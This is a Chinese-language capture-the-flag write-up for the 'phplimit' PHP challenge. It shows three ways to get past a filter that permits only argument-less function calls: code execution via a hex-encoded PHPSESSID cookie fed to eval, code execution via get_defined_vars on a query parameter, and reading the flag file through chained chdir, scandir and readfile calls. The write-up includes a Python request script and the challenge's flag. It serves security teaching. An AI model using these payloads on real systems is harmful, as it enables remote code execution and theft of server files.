原創作者:一葉飄零
前言
本次是phplimit這道題,本篇文章提供了3種解法,即如何利用無參數函數進行RCE/任意文件讀取
題目概述
題目源碼如下:
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
代碼非常清晰,首先
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
代碼會將$_GET['code']
中滿足正則/[^\W]+\((?R)?\)/
的部分,替換爲空,然後查看是否剩下的部分強等於;
如果滿足,則執行
eval($_GET['code']);
否則什麼都不做。那麼思路很明確,我們弄清楚正則即可進行RCE
[^\W]+\((?R)?\)
首先是[^\W]
對於\W
,其意思等價於[^A-Za-z0-9_]
。
那麼我們知道,我們的input必須以此開頭
然後是括號匹配
\( ...... \)
括號中間爲
(?R)?
意思爲重複整個模式
簡單理解,我們可以輸入以下類型
a(b(c()))
但我們不能加參數,否則將無法匹配
a(c,d)
所以正則看完,題目的意思非常明確了:
我們只能input函數,但函數中不能使用參數,否則判斷句右邊經過替換,將不止剩餘分號;
漏洞點分析
那麼有沒有辦法通過無參數函數,達到RCE的目的呢?答案顯然是不可能的,沒有參數,怎麼傳遞我們需要執行的指令呢?
所以我們的目標也變得很明確:通過某種無參數函數獲取指定位置的變量value,達到RCE的目的。
那麼哪裏有我們可以控制的變量,並且還能通過無參數函數獲取到呢?
那麼思路又變得清晰了,http header就是我們的突破口。我們可以更改header中的各項屬性,以及其value。
那麼有沒有函數可以函數http header呢?
我們在php手冊中直接搜索
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-lXUgo8QV-1585017984293)(/images/2019-03-10-13-30-09.png)]
能用的手段很多,例如
getallheaders()
file_get_contents(array_pop(apache_request_headers()))
但如果我們測試的話,會發現均不可用,因爲其爲Apache函數
但我們看當前題目
< HTTP/1.1 200 OK
< Server: nginx/1.15.9
< Date: Sun, 10 Mar 2019 05:24:56 GMT
< Content-Type: text/html; charset=utf-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: PHP/5.6.40
<
其是nginx,所以之前的方式均無效了。
尋找nginx函數
那麼現在思路又進一步變爲:尋找nginx函數,以獲取http headers
查閱php手冊,並未發現相關可利用函數,於是此路終止。
那不能獲取http headers怎麼辦?我們又該如何進行參數的傳遞?
這裏我們可以轉換一下思路,之間獲取http headers,我們能獲取非常多的屬性,也就是說我們的可修改位置非常多,相當於一個面。但其實我們只要能夠獲取,並修改1條屬性就夠了,例如cookie或是X-Forward-For等等……
這樣就相當於從尋找一個面變成尋找一個點,難易程度就會大幅下降。
那麼最容易想到的應該就是cookie了
法1
我們在php手冊中,搜索cookie
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-tp6RAw3I-1585017984294)(/images/2019-03-10-13-44-40.png)]
我們點入session中,可以發現這樣一個函數
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-YQKAKi5d-1585017984296)(/images/2019-03-10-13-45-14.png)]
session_id ([ string $id ] ) : string
session_id() 可以用來獲取/設置當前會話 ID。
那麼我們可以用此方法來獲取phpsessionid,並且phpsessionid可控
但其有限制如下
文件會話管理器僅允許會話 ID 中使用以下字符:a-z A-Z 0-9 ,(逗號)和 - 減號)
但問題不大,實際上我們只要擁有
0-9,a-f
就夠了,因爲我們可以將16進制轉字符串,例如
>>> print 'echo "sky cool";'.encode('hex')
6563686f2022736b7920636f6f6c223b
php > eval(hex2bin('6563686f2022736b7920636f6f6c223b'));
sky cool
我們可以看到,成功的執行命令
也就是說,我們只要使用
eval(hex2bin(session_id()));
即可執行任意命令
但是當前題目並沒有開啓session_start()
所以我們這裏輸入如下即可
hex2bin(session_id(session_start()))
我們編寫腳本
import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "echo 'sky cool';".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-msmbqeHz-1585017984299)(/images/2019-03-10-14-00-08.png)]
那麼下面就是找flag即可
payload = "var_dump(scandir('./'));".encode('hex')
array(3) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(9) "index.php"
}
payload = "var_dump(scandir('../'));".encode('hex')
array(4) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(14) "flag_phpbyp4ss"
[3]=>
string(4) "html"
}
payload = "var_dump(file_get_contents('../flag_phpbyp4ss'));".encode('hex')
string(38) "flag{e86963ba34687d269b9faf526ce68cd7}"
最後可以成功getflag:
flag{e86963ba34687d269b9faf526ce68cd7}
法2
我們通過php session的控制,達成了RCE的目的,那麼我們有沒有其他類似的方法呢?
答案是肯定的,我們還可以通過我們傳遞的參數來進行RCE
有如下函數
get_defined_vars()
此函數返回一個包含所有已定義變量列表的多維數組,這些變量包括環境變量、服務器變量和用戶定義的變量。
我們測試一下
http://localhost/?code=var_dump(get_defined_vars());&a=2
得到回顯
array(4) { ["_GET"]=> array(2) { ["code"]=> string(29) "var_dump(get_defined_vars());" ["a"]=> string(1) "2" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } }
那麼如何將裏面的
["a"]=> string(1) "2"
提取出來呢?
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-vqVnFOtc-1585017984302)(/images/2019-03-10-14-10-25.png)]
這裏有一系列提取位置的函數,我們首先使用current()
函數
得到回顯
?code=var_dump(current(get_defined_vars()));&a=2
array(2) { ["code"]=> string(38) "var_dump(current(get_defined_vars()));" ["a"]=> string(1) "2" }
我們再取這個數組的最後一個
?code=var_dump(end(current(get_defined_vars())));&a=2
string(1) "2"
即得到了回顯。
那麼後面就比較簡單了,控制a進行RCE即可
?code=eval(end(current(get_defined_vars())));&a=phpinfo();
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-FsikUYLC-1585017984306)(/images/2019-03-10-14-12-57.png)]
然後getflag
?code=eval(end(current(get_defined_vars())));&a=readfile(%27../flag_phpbyp4ss%27);
即可拿到flag
flag{e86963ba34687d269b9faf526ce68cd7}
法3
爲什麼一定要RCE呢?這個題既然flag放在文件裏,我們能不能直接讀文件就行?
之前的方法都基於可以進行RCE,可以說我們是把題目難度又加大了,實際上,我們只進行任意文件讀取即可
那麼想讀文件,就必須進行目錄遍歷,沒有參數,怎麼進行目錄遍歷呢?
首先,我們可以利用getcwd()
獲取當前目錄
?code=var_dump(getcwd());
string(13) "/var/www/html"
那麼怎麼進行當前目錄的目錄遍歷呢?
這裏用scandir()
即可
?code=var_dump(scandir(getcwd()));
array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }
那麼既然不在這一層目錄,如何進行目錄上跳呢?
我們用dirname()
即可
?code=var_dump(scandir(dirname(getcwd())));
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "html" }
即可發現flag文件,那麼問題又回到之前,如果取數組指定位置的值,我們需要取的位置是第3個,我們有的方法如下
current() 取第一個
next() 取第二個
end() 取最後一個
那麼怎麼取第三個呢?
我們這裏讓數組倒敘,然後取第二個即可
?code=var_dump(next(array_reverse(scandir(dirname(getcwd())))));
string(14) "flag_phpbyp4ss"
那麼讀文件
?code=file_get_contents(next(array_reverse(scandir(dirname(getcwd())))));
Warning: file_get_contents(flag_phpbyp4ss): failed to open stream: No such file or directory in /var/www/html/index.php(3) : eval()'d code on line 1
發現報錯了,我們找不到這個文件,因爲沒有../
上跳呀,這該怎麼辦呢?
這裏我們發現有函數可以更改當前目錄
chdir ( string $directory ) : bool
將 PHP 的當前目錄改爲 directory。
所以我們這裏在
dirname(getcwd())
進行如下設置即可
chdir(dirname(getcwd()))
這樣我們的當前目錄就在/var/www
下了
但此時,我們的值變爲了bool值,我們爲了遍歷目錄,需要讓他變回來,所以我們先進行目錄上跳
var_dump(dirname(chdir(dirname(getcwd()))));
string(1) "."
再列目錄
var_dump(scandir(dirname(chdir(dirname(getcwd())))));
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "html" }
然後就回到了之前的問題了,我們直接取文件,讀取即可
readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
即可拿到flag
flag{e86963ba34687d269b9faf526ce68cd7}
小結
這種開放式的題目非常有趣,可以幫助我們瞭解許多php黑魔法和各種組合,我相信方法遠不止這3種,歡迎各位討論!
實驗室相關實驗:
1、滲透PHP代碼審計:
http://www.hetianlab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916230700001(學習PHP代碼審計的基礎知識,爲以後的工作奠定基礎)
2、正則表達式:
http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182014120311252200001(瞭解正則表達式,掌握sed和awk工具的使用)
3、PHP腳本語言基礎:
http://www.hetianlab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916344500001(學會基礎的PHP編程)
4、Nginx代碼執行和目錄跨越漏洞:
http://www.hetianlab.com/expc.do?ec=ECID9d6c0ca797abec2016091916132900001(熟悉目錄跨越的成因和攻擊利用)